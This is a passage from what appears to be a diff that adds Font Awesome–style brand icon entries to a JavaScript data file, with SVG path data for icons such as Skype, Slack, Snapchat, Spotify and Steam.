53.63 0 42.6 52.06 62 112.34 84.49 31.07 11.59 63.19 23.57 92.68 39.93a3.57 3.57 0 0 0 5-1.82A249 249 0 0 0 503 233.09z"], + "simplybuilt": [512, 512, [], "f215", "M481.2 64h-106c-14.5 0-26.6 11.8-26.6 26.3v39.6H163.3V90.3c0-14.5-12-26.3-26.6-26.3h-106C16.1 64 4.3 75.8 4.3 90.3v331.4c0 14.5 11.8 26.3 26.6 26.3h450.4c14.8 0 26.6-11.8 26.6-26.3V90.3c-.2-14.5-12-26.3-26.7-26.3zM149.8 355.8c-36.6 0-66.4-29.7-66.4-66.4 0-36.9 29.7-66.6 66.4-66.6 36.9 0 66.6 29.7 66.6 66.6 0 36.7-29.7 66.4-66.6 66.4zm212.4 0c-36.9 0-66.6-29.7-66.6-66.6 0-36.6 29.7-66.4 66.6-66.4 36.6 0 66.4 29.7 66.4 66.4 0 36.9-29.8 66.6-66.4 66.6z"], + "sistrix": [448, 512, [], "f3ee", "M448 449L301.2 300.2c20-27.9 31.9-62.2 31.9-99.2 0-93.1-74.7-168.9-166.5-168.9C74.7 32 0 107.8 0 200.9s74.7 168.9 166.5 168.9c39.8 0 76.3-14.2 105-37.9l146 148.1 30.5-31zM166.5 330.8c-70.6 0-128.1-58.3-128.1-129.9S95.9 71 166.5 71s128.1 58.3 128.1 129.9-57.4 129.9-128.1 129.9z"], + "sith": [448, 512, [], "f512", "M0 32l69.71 118.75-58.86-11.52 69.84 91.03a146.741 146.741 0 0 0 0 51.45l-69.84 91.03 58.86-11.52L0 480l118.75-69.71-11.52 58.86 91.03-69.84c17.02 3.04 34.47 3.04 51.48 0l91.03 69.84-11.52-58.86L448 480l-69.71-118.78 58.86 11.52-69.84-91.03c3.03-17.01 3.04-34.44 0-51.45l69.84-91.03-58.86 11.52L448 32l-118.75 69.71 11.52-58.9-91.06 69.87c-8.5-1.52-17.1-2.29-25.71-2.29s-17.21.78-25.71 2.29l-91.06-69.87 11.52 58.9L0 32zm224 99.78c31.8 0 63.6 12.12 87.85 36.37 48.5 48.5 48.49 127.21 0 175.7s-127.2 48.46-175.7-.03c-48.5-48.5-48.49-127.21 0-175.7 24.24-24.25 56.05-36.34 87.85-36.34zm0 36.66c-22.42 0-44.83 8.52-61.92 25.61-34.18 34.18-34.19 89.68 0 123.87s89.65 34.18 123.84 0c34.18-34.18 34.19-89.68 0-123.87-17.09-17.09-39.5-25.61-61.92-25.61z"], + "sketch": [512, 512, [], "f7c6", "M27.5 162.2L9 187.1h90.5l6.9-130.7-78.9 105.8zM396.3 45.7L267.7 32l135.7 147.2-7.1-133.5zM112.2 218.3l-11.2-22H9.9L234.8 458zm2-31.2h284l-81.5-88.5L256.3 33zm297.3 9.1L277.6 458l224.8-261.7h-90.9zM415.4 69L406 56.4l.9 17.3 6.1 113.4h90.3zM113.5 93.5l-4.6 85.6L244.7 32 116.1 45.7zm287.7 102.7h-290l42.4 82.9L256.3 480l144.9-283.8z"], + "skyatlas": [640, 512, [], "f216", "M640 329.3c0 65.9-52.5 114.4-117.5 114.4-165.9 0-196.6-249.7-359.7-249.7-146.9 0-147.1 212.2 5.6 212.2 42.5 0 90.9-17.8 125.3-42.5 5.6-4.1 16.9-16.3 22.8-16.3s10.9 5 10.9 10.9c0 7.8-13.1 19.1-18.7 24.1-40.9 35.6-100.3 61.2-154.7 61.2-83.4.1-154-59-154-144.9s67.5-149.1 152.8-149.1c185.3 0 222.5 245.9 361.9 245.9 99.9 0 94.8-139.7 3.4-139.7-17.5 0-35 11.6-46.9 11.6-8.4 0-15.9-7.2-15.9-15.6 0-11.6 5.3-23.7 5.3-36.3 0-66.6-50.9-114.7-116.9-114.7-53.1 0-80 36.9-88.8 36.9-6.2 0-11.2-5-11.2-11.2 0-5.6 4.1-10.3 7.8-14.4 25.3-28.8 64.7-43.7 102.8-43.7 79.4 0 139.1 58.4 139.1 137.8 0 6.9-.3 13.7-1.2 20.6 11.9-3.1 24.1-4.7 35.9-4.7 60.7 0 111.9 45.3 111.9 107.2z"], + "skype": [448, 512, [], "f17e", "M424.7 299.8c2.9-14 4.7-28.9 4.7-43.8 0-113.5-91.9-205.3-205.3-205.3-14.9 0-29.7 1.7-43.8 4.7C161.3 40.7 137.7 32 112 32 50.2 32 0 82.2 0 144c0 25.7 8.7 49.3 23.3 68.2-2.9 14-4.7 28.9-4.7 43.8 0 113.5 91.9 205.3 205.3 205.3 14.9 0 29.7-1.7 43.8-4.7 19 14.6 42.6 23.3 68.2 23.3 61.8 0 112-50.2 112-112 .1-25.6-8.6-49.2-23.2-68.1zm-194.6 91.5c-65.6 0-120.5-29.2-120.5-65 0-16 9-30.6 29.5-30.6 31.2 0 34.1 44.9 88.1 44.9 25.7 0 42.3-11.4 42.3-26.3 0-18.7-16-21.6-42-28-62.5-15.4-117.8-22-117.8-87.2 0-59.2 58.6-81.1 109.1-81.1 55.1 0 110.8 21.9 110.8 55.4 0 16.9-11.4 31.8-30.3 31.8-28.3 0-29.2-33.5-75-33.5-25.7 0-42 7-42 22.5 0 19.8 20.8 21.8 69.1 33 41.4 9.3 90.7 26.8 90.7 77.6 0 59.1-57.1 86.5-112 86.5z"], + "slack": [448, 512, [], "f198", "M94.12 315.1c0 25.9-21.16 47.06-47.06 47.06S0 341 0 315.1c0-25.9 21.16-47.06 47.06-47.06h47.06v47.06zm23.72 0c0-25.9 21.16-47.06 47.06-47.06s47.06 21.16 47.06 47.06v117.84c0 25.9-21.16 47.06-47.06 47.06s-47.06-21.16-47.06-47.06V315.1zm47.06-188.98c-25.9 0-47.06-21.16-47.06-47.06S139 32 164.9 32s47.06 21.16 47.06 47.06v47.06H164.9zm0 23.72c25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06H47.06C21.16 243.96 0 222.8 0 196.9s21.16-47.06 47.06-47.06H164.9zm188.98 47.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06s-21.16 47.06-47.06 47.06h-47.06V196.9zm-23.72 0c0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06V79.06c0-25.9 21.16-47.06 47.06-47.06 25.9 0 47.06 21.16 47.06 47.06V196.9zM283.1 385.88c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06-25.9 0-47.06-21.16-47.06-47.06v-47.06h47.06zm0-23.72c-25.9 0-47.06-21.16-47.06-47.06 0-25.9 21.16-47.06 47.06-47.06h117.84c25.9 0 47.06 21.16 47.06 47.06 0 25.9-21.16 47.06-47.06 47.06H283.1z"], + "slack-hash": [448, 512, [], "f3ef", "M446.2 270.4c-6.2-19-26.9-29.1-46-22.9l-45.4 15.1-30.3-90 45.4-15.1c19.1-6.2 29.1-26.8 23-45.9-6.2-19-26.9-29.1-46-22.9l-45.4 15.1-15.7-47c-6.2-19-26.9-29.1-46-22.9-19.1 6.2-29.1 26.8-23 45.9l15.7 47-93.4 31.2-15.7-47c-6.2-19-26.9-29.1-46-22.9-19.1 6.2-29.1 26.8-23 45.9l15.7 47-45.3 15c-19.1 6.2-29.1 26.8-23 45.9 5 14.5 19.1 24 33.6 24.6 6.8 1 12-1.6 57.7-16.8l30.3 90L78 354.8c-19 6.2-29.1 26.9-23 45.9 5 14.5 19.1 24 33.6 24.6 6.8 1 12-1.6 57.7-16.8l15.7 47c5.9 16.9 24.7 29 46 22.9 19.1-6.2 29.1-26.8 23-45.9l-15.7-47 93.6-31.3 15.7 47c5.9 16.9 24.7 29 46 22.9 19.1-6.2 29.1-26.8 23-45.9l-15.7-47 45.4-15.1c19-6 29.1-26.7 22.9-45.7zm-254.1 47.2l-30.3-90.2 93.5-31.3 30.3 90.2-93.5 31.3z"], + "slideshare": [512, 512, [], "f1e7", "M187.7 153.7c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7s61.7-26 61.7-57.7c0-32-27.7-57.7-61.7-57.7zm143.4 0c-34 0-61.7 25.7-61.7 57.7 0 31.7 27.7 57.7 61.7 57.7 34.3 0 61.7-26 61.7-57.7.1-32-27.4-57.7-61.7-57.7zm156.6 90l-6 4.3V49.7c0-27.4-20.6-49.7-46-49.7H76.6c-25.4 0-46 22.3-46 49.7V248c-2-1.4-4.3-2.9-6.3-4.3-15.1-10.6-25.1 4-16 17.7 18.3 22.6 53.1 50.3 106.3 72C58.3 525.1 252 555.7 248.9 457.5c0-.7.3-56.6.3-96.6 5.1 1.1 9.4 2.3 13.7 3.1 0 39.7.3 92.8.3 93.5-3.1 98.3 190.6 67.7 134.3-124 53.1-21.7 88-49.4 106.3-72 9.1-13.8-.9-28.3-16.1-17.8zm-30.5 19.2c-68.9 37.4-128.3 31.1-160.6 29.7-23.7-.9-32.6 9.1-33.7 24.9-10.3-7.7-18.6-15.5-20.3-17.1-5.1-5.4-13.7-8-27.1-7.7-31.7 1.1-89.7 7.4-157.4-28V72.3c0-34.9 8.9-45.7 40.6-45.7h317.7c30.3 0 40.9 12.9 40.9 45.7v190.6z"], + "snapchat": [496, 512, [], "f2ab", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm169.5 338.9c-3.5 8.1-18.1 14-44.8 18.2-1.4 1.9-2.5 9.8-4.3 15.9-1.1 3.7-3.7 5.9-8.1 5.9h-.2c-6.2 0-12.8-2.9-25.8-2.9-17.6 0-23.7 4-37.4 13.7-14.5 10.3-28.4 19.1-49.2 18.2-21 1.6-38.6-11.2-48.5-18.2-13.8-9.7-19.8-13.7-37.4-13.7-12.5 0-20.4 3.1-25.8 3.1-5.4 0-7.5-3.3-8.3-6-1.8-6.1-2.9-14.1-4.3-16-13.8-2.1-44.8-7.5-45.5-21.4-.2-3.6 2.3-6.8 5.9-7.4 46.3-7.6 67.1-55.1 68-57.1 0-.1.1-.2.2-.3 2.5-5 3-9.2 1.6-12.5-3.4-7.9-17.9-10.7-24-13.2-15.8-6.2-18-13.4-17-18.3 1.6-8.5 14.4-13.8 21.9-10.3 5.9 2.8 11.2 4.2 15.7 4.2 3.3 0 5.5-.8 6.6-1.4-1.4-23.9-4.7-58 3.8-77.1C183.1 100 230.7 96 244.7 96c.6 0 6.1-.1 6.7-.1 34.7 0 68 17.8 84.3 54.3 8.5 19.1 5.2 53.1 3.8 77.1 1.1.6 2.9 1.3 5.7 1.4 4.3-.2 9.2-1.6 14.7-4.2 4-1.9 9.6-1.6 13.6 0 6.3 2.3 10.3 6.8 10.4 11.9.1 6.5-5.7 12.1-17.2 16.6-1.4.6-3.1 1.1-4.9 1.7-6.5 2.1-16.4 5.2-19 11.5-1.4 3.3-.8 7.5 1.6 12.5.1.1.1.2.2.3.9 2 21.7 49.5 68 57.1 4 1 7.1 5.5 4.9 10.8z"], + "snapchat-ghost": [512, 512, [], "f2ac", "M510.846 392.673c-5.211 12.157-27.239 21.089-67.36 27.318-2.064 2.786-3.775 14.686-6.507 23.956-1.625 5.566-5.623 8.869-12.128 8.869l-.297-.005c-9.395 0-19.203-4.323-38.852-4.323-26.521 0-35.662 6.043-56.254 20.588-21.832 15.438-42.771 28.764-74.027 27.399-31.646 2.334-58.025-16.908-72.871-27.404-20.714-14.643-29.828-20.582-56.241-20.582-18.864 0-30.736 4.72-38.852 4.72-8.073 0-11.213-4.922-12.422-9.04-2.703-9.189-4.404-21.263-6.523-24.13-20.679-3.209-67.31-11.344-68.498-32.15a10.627 10.627 0 0 1 8.877-11.069c69.583-11.455 100.924-82.901 102.227-85.934.074-.176.155-.344.237-.515 3.713-7.537 4.544-13.849 2.463-18.753-5.05-11.896-26.872-16.164-36.053-19.796-23.715-9.366-27.015-20.128-25.612-27.504 2.437-12.836 21.725-20.735 33.002-15.453 8.919 4.181 16.843 6.297 23.547 6.297 5.022 0 8.212-1.204 9.96-2.171-2.043-35.936-7.101-87.29 5.687-115.969C158.122 21.304 229.705 15.42 250.826 15.42c.944 0 9.141-.089 10.11-.089 52.148 0 102.254 26.78 126.723 81.643 12.777 28.65 7.749 79.792 5.695 116.009 1.582.872 4.357 1.942 8.599 2.139 6.397-.286 13.815-2.389 22.069-6.257 6.085-2.846 14.406-2.461 20.48.058l.029.01c9.476 3.385 15.439 10.215 15.589 17.87.184 9.747-8.522 18.165-25.878 25.018-2.118.835-4.694 1.655-7.434 2.525-9.797 3.106-24.6 7.805-28.616 17.271-2.079 4.904-1.256 11.211 2.46 18.748.087.168.166.342.239.515 1.301 3.03 32.615 74.46 102.23 85.934 6.427 1.058 11.163 7.877 7.725 15.859z"], + "snapchat-square": [448, 512, [], "f2ad", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-6.5 314.9c-3.5 8.1-18.1 14-44.8 18.2-1.4 1.9-2.5 9.8-4.3 15.9-1.1 3.7-3.7 5.9-8.1 5.9h-.2c-6.2 0-12.8-2.9-25.8-2.9-17.6 0-23.7 4-37.4 13.7-14.5 10.3-28.4 19.1-49.2 18.2-21 1.6-38.6-11.2-48.5-18.2-13.8-9.7-19.8-13.7-37.4-13.7-12.5 0-20.4 3.1-25.8 3.1-5.4 0-7.5-3.3-8.3-6-1.8-6.1-2.9-14.1-4.3-16-13.8-2.1-44.8-7.5-45.5-21.4-.2-3.6 2.3-6.8 5.9-7.4 46.3-7.6 67.1-55.1 68-57.1 0-.1.1-.2.2-.3 2.5-5 3-9.2 1.6-12.5-3.4-7.9-17.9-10.7-24-13.2-15.8-6.2-18-13.4-17-18.3 1.6-8.5 14.4-13.8 21.9-10.3 5.9 2.8 11.2 4.2 15.7 4.2 3.3 0 5.5-.8 6.6-1.4-1.4-23.9-4.7-58 3.8-77.1C159.1 100 206.7 96 220.7 96c.6 0 6.1-.1 6.7-.1 34.7 0 68 17.8 84.3 54.3 8.5 19.1 5.2 53.1 3.8 77.1 1.1.6 2.9 1.3 5.7 1.4 4.3-.2 9.2-1.6 14.7-4.2 4-1.9 9.6-1.6 13.6 0 6.3 2.3 10.3 6.8 10.4 11.9.1 6.5-5.7 12.1-17.2 16.6-1.4.6-3.1 1.1-4.9 1.7-6.5 2.1-16.4 5.2-19 11.5-1.4 3.3-.8 7.5 1.6 12.5.1.1.1.2.2.3.9 2 21.7 49.5 68 57.1 4 1 7.1 5.5 4.9 10.8z"], + "soundcloud": [640, 512, [], "f1be", "M111.4 256.3l5.8 65-5.8 68.3c-.3 2.5-2.2 4.4-4.4 4.4s-4.2-1.9-4.2-4.4l-5.6-68.3 5.6-65c0-2.2 1.9-4.2 4.2-4.2 2.2 0 4.1 2 4.4 4.2zm21.4-45.6c-2.8 0-4.7 2.2-5 5l-5 105.6 5 68.3c.3 2.8 2.2 5 5 5 2.5 0 4.7-2.2 4.7-5l5.8-68.3-5.8-105.6c0-2.8-2.2-5-4.7-5zm25.5-24.1c-3.1 0-5.3 2.2-5.6 5.3l-4.4 130 4.4 67.8c.3 3.1 2.5 5.3 5.6 5.3 2.8 0 5.3-2.2 5.3-5.3l5.3-67.8-5.3-130c0-3.1-2.5-5.3-5.3-5.3zM7.2 283.2c-1.4 0-2.2 1.1-2.5 2.5L0 321.3l4.7 35c.3 1.4 1.1 2.5 2.5 2.5s2.2-1.1 2.5-2.5l5.6-35-5.6-35.6c-.3-1.4-1.1-2.5-2.5-2.5zm23.6-21.9c-1.4 0-2.5 1.1-2.5 2.5l-6.4 57.5 6.4 56.1c0 1.7 1.1 2.8 2.5 2.8s2.5-1.1 2.8-2.5l7.2-56.4-7.2-57.5c-.3-1.4-1.4-2.5-2.8-2.5zm25.3-11.4c-1.7 0-3.1 1.4-3.3 3.3L47 321.3l5.8 65.8c.3 1.7 1.7 3.1 3.3 3.1 1.7 0 3.1-1.4 3.1-3.1l6.9-65.8-6.9-68.1c0-1.9-1.4-3.3-3.1-3.3zm25.3-2.2c-1.9 0-3.6 1.4-3.6 3.6l-5.8 70 5.8 67.8c0 2.2 1.7 3.6 3.6 3.6s3.6-1.4 3.9-3.6l6.4-67.8-6.4-70c-.3-2.2-2-3.6-3.9-3.6zm241.4-110.9c-1.1-.8-2.8-1.4-4.2-1.4-2.2 0-4.2.8-5.6 1.9-1.9 1.7-3.1 4.2-3.3 6.7v.8l-3.3 176.7 1.7 32.5 1.7 31.7c.3 4.7 4.2 8.6 8.9 8.6s8.6-3.9 8.6-8.6l3.9-64.2-3.9-177.5c-.4-3-2-5.8-4.5-7.2zm-26.7 15.3c-1.4-.8-2.8-1.4-4.4-1.4s-3.1.6-4.4 1.4c-2.2 1.4-3.6 3.9-3.6 6.7l-.3 1.7-2.8 160.8s0 .3 3.1 65.6v.3c0 1.7.6 3.3 1.7 4.7 1.7 1.9 3.9 3.1 6.4 3.1 2.2 0 4.2-1.1 5.6-2.5 1.7-1.4 2.5-3.3 2.5-5.6l.3-6.7 3.1-58.6-3.3-162.8c-.3-2.8-1.7-5.3-3.9-6.7zm-111.4 22.5c-3.1 0-5.8 2.8-5.8 6.1l-4.4 140.6 4.4 67.2c.3 3.3 2.8 5.8 5.8 5.8 3.3 0 5.8-2.5 6.1-5.8l5-67.2-5-140.6c-.2-3.3-2.7-6.1-6.1-6.1zm376.7 62.8c-10.8 0-21.1 2.2-30.6 6.1-6.4-70.8-65.8-126.4-138.3-126.4-17.8 0-35 3.3-50.3 9.4-6.1 2.2-7.8 4.4-7.8 9.2v249.7c0 5 3.9 8.6 8.6 9.2h218.3c43.3 0 78.6-35 78.6-78.3.1-43.6-35.2-78.9-78.5-78.9zm-296.7-60.3c-4.2 0-7.5 3.3-7.8 7.8l-3.3 136.7 3.3 65.6c.3 4.2 3.6 7.5 7.8 7.5 4.2 0 7.5-3.3 7.5-7.5l3.9-65.6-3.9-136.7c-.3-4.5-3.3-7.8-7.5-7.8zm-53.6-7.8c-3.3 0-6.4 3.1-6.4 6.7l-3.9 145.3 3.9 66.9c.3 3.6 3.1 6.4 6.4 6.4 3.6 0 6.4-2.8 6.7-6.4l4.4-66.9-4.4-145.3c-.3-3.6-3.1-6.7-6.7-6.7zm26.7 3.4c-3.9 0-6.9 3.1-6.9 6.9L227 321.3l3.9 66.4c.3 3.9 3.1 6.9 6.9 6.9s6.9-3.1 6.9-6.9l4.2-66.4-4.2-141.7c0-3.9-3-6.9-6.9-6.9z"], + "sourcetree": [448, 512, [], "f7d3", "M427.2 203c0-112.1-90.9-203-203-203C112.1-.2 21.2 90.6 21 202.6A202.86 202.86 0 0 0 161.5 396v101.7a14.3 14.3 0 0 0 14.3 14.3h96.4a14.3 14.3 0 0 0 14.3-14.3V396.1A203.18 203.18 0 0 0 427.2 203zm-271.6 0c0-90.8 137.3-90.8 137.3 0-.1 89.9-137.3 91-137.3 0z"], + "speakap": [448, 512, [], "f3f3", "M64 391.78C-15.41 303.59-8 167.42 80.64 87.64s224.8-73 304.21 15.24 72 224.36-16.64 304.14c-18.74 16.87 64 43.09 42 52.26-82.06 34.21-253.91 35-346.23-67.5zm213.31-211.6l38.5-40.86c-9.61-8.89-32-26.83-76.17-27.6-52.33-.91-95.86 28.3-96.77 80-.2 11.33.29 36.72 29.42 54.83 34.46 21.42 86.52 21.51 86 52.26-.37 21.28-26.42 25.81-38.59 25.6-3-.05-30.23-.46-47.61-24.62l-40 42.61c28.16 27 59 32.62 83.49 33.05 10.23.18 96.42.33 97.84-81 .28-15.81-2.07-39.72-28.86-56.59-34.36-21.64-85-19.45-84.43-49.75.41-23.25 31-25.37 37.53-25.26.43 0 26.62.26 39.62 17.37z"], + "speaker-deck": [512, 512, [], "f83c", "M213.86 296H100a100 100 0 0 1 0-200h132.84a40 40 0 0 1 0 80H98c-26.47 0-26.45 40 0 40h113.82a100 100 0 0 1 0 200H40a40 40 0 0 1 0-80h173.86c26.48 0 26.46-40 0-40zM298 416a120.21 120.21 0 0 0 51.11-80h64.55a19.83 19.83 0 0 0 19.66-20V196a19.83 19.83 0 0 0-19.66-20H296.42a60.77 60.77 0 0 0 0-80h136.93c43.44 0 78.65 35.82 78.65 80v160c0 44.18-35.21 80-78.65 80z"], + "spotify": [496, 512, [], "f1bc", "M248 8C111.1 8 0 119.1 0 256s111.1 248 248 248 248-111.1 248-248S384.9 8 248 8zm100.7 364.9c-4.2 0-6.8-1.3-10.7-3.6-62.4-37.6-135-39.2-206.7-24.5-3.9 1-9 2.6-11.9 2.6-9.7 0-15.8-7.7-15.8-15.8 0-10.3 6.1-15.2 13.6-16.8 81.9-18.1 165.6-16.5 237 26.2 6.1 3.9 9.7 7.4 9.7 16.5s-7.1 15.4-15.2 15.4zm26.9-65.6c-5.2 0-8.7-2.3-12.3-4.2-62.5-37-155.7-51.9-238.6-29.4-4.8 1.3-7.4 2.6-11.9 2.6-10.7 0-19.4-8.7-19.4-19.4s5.2-17.8 15.5-20.7c27.8-7.8 56.2-13.6 97.8-13.6 64.9 0 127.6 16.1 177 45.5 8.1 4.8 11.3 11 11.3 19.7-.1 10.8-8.5 19.5-19.4 19.5zm31-76.2c-5.2 0-8.4-1.3-12.9-3.9-71.2-42.5-198.5-52.7-280.9-29.7-3.6 1-8.1 2.6-12.9 2.6-13.2 0-23.3-10.3-23.3-23.6 0-13.6 8.4-21.3 17.4-23.9 35.2-10.3 74.6-15.2 117.5-15.2 73 0 149.5 15.2 205.4 47.8 7.8 4.5 12.9 10.7 12.9 22.6 0 13.6-11 23.3-23.2 23.3z"], + "squarespace": [512, 512, [], "f5be", "M186.12 343.34c-9.65 9.65-9.65 25.29 0 34.94 9.65 9.65 25.29 9.65 34.94 0L378.24 221.1c19.29-19.29 50.57-19.29 69.86 0s19.29 50.57 0 69.86L293.95 445.1c19.27 19.29 50.53 19.31 69.82.04l.04-.04 119.25-119.24c38.59-38.59 38.59-101.14 0-139.72-38.59-38.59-101.15-38.59-139.72 0l-157.22 157.2zm244.53-104.8c-9.65-9.65-25.29-9.65-34.93 0l-157.2 157.18c-19.27 19.29-50.53 19.31-69.82.05l-.05-.05c-9.64-9.64-25.27-9.65-34.92-.01l-.01.01c-9.65 9.64-9.66 25.28-.02 34.93l.02.02c38.58 38.57 101.14 38.57 139.72 0l157.2-157.2c9.65-9.65 9.65-25.29.01-34.93zm-261.99 87.33l157.18-157.18c9.64-9.65 9.64-25.29 0-34.94-9.64-9.64-25.27-9.64-34.91 0L133.72 290.93c-19.28 19.29-50.56 19.3-69.85.01l-.01-.01c-19.29-19.28-19.31-50.54-.03-69.84l.03-.03L218.03 66.89c-19.28-19.29-50.55-19.3-69.85-.02l-.02.02L28.93 186.14c-38.58 38.59-38.58 101.14 0 139.72 38.6 38.59 101.13 38.59 139.73.01zm-87.33-52.4c9.64 9.64 25.27 9.64 34.91 0l157.21-157.19c19.28-19.29 50.55-19.3 69.84-.02l.02.02c9.65 9.65 25.29 9.65 34.93 0 9.65-9.65 9.65-25.29 0-34.93-38.59-38.59-101.13-38.59-139.72 0L81.33 238.54c-9.65 9.64-9.65 25.28-.01 34.93h.01z"], + "stack-exchange": [448, 512, [], "f18d", "M17.7 332.3h412.7v22c0 37.7-29.3 68-65.3 68h-19L259.3 512v-89.7H83c-36 0-65.3-30.3-65.3-68v-22zm0-23.6h412.7v-85H17.7v85zm0-109.4h412.7v-85H17.7v85zM365 0H83C47 0 17.7 30.3 17.7 67.7V90h412.7V67.7C430.3 30.3 401 0 365 0z"], + "stack-overflow": [384, 512, [], "f16c", "M290.7 311L95 269.7 86.8 309l195.7 41zm51-87L188.2 95.7l-25.5 30.8 153.5 128.3zm-31.2 39.7L129.2 179l-16.7 36.5L293.7 300zM262 32l-32 24 119.3 160.3 32-24zm20.5 328h-200v39.7h200zm39.7 80H42.7V320h-40v160h359.5V320h-40z"], + "stackpath": [448, 512, [], "f842", "M244.6 232.4c0 8.5-4.26 20.49-21.34 20.49h-19.61v-41.47h19.61c17.13 0 21.34 12.36 21.34 20.98zM448 32v448H0V32zM151.3 287.84c0-21.24-12.12-34.54-46.72-44.85-20.57-7.41-26-10.91-26-18.63s7-14.61 20.41-14.61c14.09 0 20.79 8.45 20.79 18.35h30.7l.19-.57c.5-19.57-15.06-41.65-51.12-41.65-23.37 0-52.55 10.75-52.55 38.29 0 19.4 9.25 31.29 50.74 44.37 17.26 6.15 21.91 10.4 21.91 19.48 0 15.2-19.13 14.23-19.47 14.23-20.4 0-25.65-9.1-25.65-21.9h-30.8l-.18.56c-.68 31.32 28.38 45.22 56.63 45.22 29.98 0 51.12-13.55 51.12-38.29zm125.38-55.63c0-25.3-18.43-45.46-53.42-45.46h-51.78v138.18h32.17v-47.36h19.61c30.25 0 53.42-15.95 53.42-45.36zM297.94 325L347 186.78h-31.09L268 325zm106.52-138.22h-31.09L325.46 325h29.94z"], + "staylinked": [440, 512, [], "f3f5", "M382.7 292.5l2.7 2.7-170-167.3c-3.5-3.5-9.7-3.7-13.8-.5L144.3 171c-4.2 3.2-4.6 8.7-1.1 12.2l68.1 64.3c3.6 3.5 9.9 3.7 14 .5l.1-.1c4.1-3.2 10.4-3 14 .5l84 81.3c3.6 3.5 3.2 9-.9 12.2l-93.2 74c-4.2 3.3-10.5 3.1-14.2-.4L63.2 268c-3.5-3.5-9.7-3.7-13.9-.5L3.5 302.4c-4.2 3.2-4.7 8.7-1.2 12.2L211 510.7s7.4 6.8 17.3-.8l198-163.9c4-3.2 4.4-8.7.7-12.2zm54.5-83.4L226.7 2.5c-1.5-1.2-8-5.5-16.3 1.1L3.6 165.7c-4.2 3.2-4.8 8.7-1.2 12.2l42.3 41.7 171.7 165.1c3.7 3.5 10.1 3.7 14.3.4l50.2-38.8-.3-.3 7.7-6c4.2-3.2 4.6-8.7.9-12.2l-57.1-54.4c-3.6-3.5-10-3.7-14.2-.5l-.1.1c-4.2 3.2-10.5 3.1-14.2-.4L109 180.8c-3.6-3.5-3.1-8.9 1.1-12.2l92.2-71.5c4.1-3.2 10.3-3 13.9.5l160.4 159c3.7 3.5 10 3.7 14.1.5l45.8-35.8c4.1-3.2 4.4-8.7.7-12.2z"], + "steam": [496, 512, [], "f1b6", "M496 256c0 137-111.2 248-248.4 248-113.8 0-209.6-76.3-239-180.4l95.2 39.3c6.4 32.1 34.9 56.4 68.9 56.4 39.2 0 71.9-32.4 70.2-73.5l84.5-60.2c52.1 1.3 95.8-40.9 95.8-93.5 0-51.6-42-93.5-93.7-93.5s-93.7 42-93.7 93.5v1.2L176.6 279c-15.5-.9-30.7 3.4-43.5 12.1L0 236.1C10.2 108.4 117.1 8 247.6 8 384.8 8 496 119 496 256zM155.7 384.3l-30.5-12.6a52.79 52.79 0 0 0 27.2 25.8c26.9 11.2 57.8-1.6 69-28.4 5.4-13 5.5-27.3.1-40.3-5.4-13-15.5-23.2-28.5-28.6-12.9-5.4-26.7-5.2-38.9-.6l31.5 13c19.8 8.2 29.2 30.9 20.9 50.7-8.3 19.9-31 29.2-50.8 21zm173.8-129.9c-34.4 0-62.4-28-62.4-62.3s28-62.3 62.4-62.3 62.4 28 62.4 62.3-27.9 62.3-62.4 62.3zm.1-15.6c25.9 0 46.9-21 46.9-46.8 0-25.9-21-46.8-46.9-46.8s-46.9 21-46.9 46.8c.1 25.8 21.1 46.8 46.9 46.8z"], + "steam-square": [448, 512, [], "f1b7", "M185.2 356.5c7.7-18.5-1-39.7-19.6-47.4l-29.5-12.2c11.4-4.3 24.3-4.5 36.4.5 12.2 5.1 21.6 14.6 26.7 26.7 5 12.2 5 25.6-.1 37.7-10.5 25.1-39.4 37-64.6 26.5-11.6-4.8-20.4-13.6-25.4-24.2l28.5 11.8c18.6 7.8 39.9-.9 47.6-19.4zM400 32H48C21.5 32 0 53.5 0 80v160.7l116.6 48.1c12-8.2 26.2-12.1 40.7-11.3l55.4-80.2v-1.1c0-48.2 39.3-87.5 87.6-87.5s87.6 39.3 87.6 87.5c0 49.2-40.9 88.7-89.6 87.5l-79 56.3c1.6 38.5-29.1 68.8-65.7 68.8-31.8 0-58.5-22.7-64.5-52.7L0 319.2V432c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-99.7 222.5c-32.2 0-58.4-26.1-58.4-58.3s26.2-58.3 58.4-58.3 58.4 26.2 58.4 58.3-26.2 58.3-58.4 58.3zm.1-14.6c24.2 0 43.9-19.6 43.9-43.8 0-24.2-19.6-43.8-43.9-43.8-24.2 0-43.9 19.6-43.9 43.8 0 24.2 19.7 43.8 43.9 43.8z"], + "steam-symbol": [448, 512, [], "f3f6", "M395.5 177.5c0 33.8-27.5 61-61 61-33.8 0-61-27.3-61-61s27.3-61 61-61c33.5 0 61 27.2 61 61zm52.5.2c0 63-51 113.8-113.7 113.8L225 371.3c-4 43-40.5 76.8-84.5 76.8-40.5 0-74.7-28.8-83-67L0 358V250.7L97.2 290c15.1-9.2 32.2-13.3 52-11.5l71-101.7c.5-62.3 51.5-112.8 114-112.8C397 64 448 115 448 177.7zM203 363c0-34.7-27.8-62.5-62.5-62.5-4.5 0-9 .5-13.5 1.5l26 10.5c25.5 10.2 38 39 27.7 64.5-10.2 25.5-39.2 38-64.7 27.5-10.2-4-20.5-8.3-30.7-12.2 10.5 19.7 31.2 33.2 55.2 33.2 34.7 0 62.5-27.8 62.5-62.5zm207.5-185.3c0-42-34.3-76.2-76.2-76.2-42.3 0-76.5 34.2-76.5 76.2 0 42.2 34.3 76.2 76.5 76.2 41.9.1 76.2-33.9 76.2-76.2z"], + "sticker-mule": [576, 512, [], "f3f7", "M561.7 199.6c-1.3.3.3 0 0 0zm-6.2-77.4c-7.7-22.3-5.1-7.2-13.4-36.9-1.6-6.5-3.6-14.5-6.2-20-4.4-8.7-4.6-7.5-4.6-9.5 0-5.3 30.7-45.3 19-46.9-5.7-.6-12.2 11.6-20.6 17-8.6 4.2-8 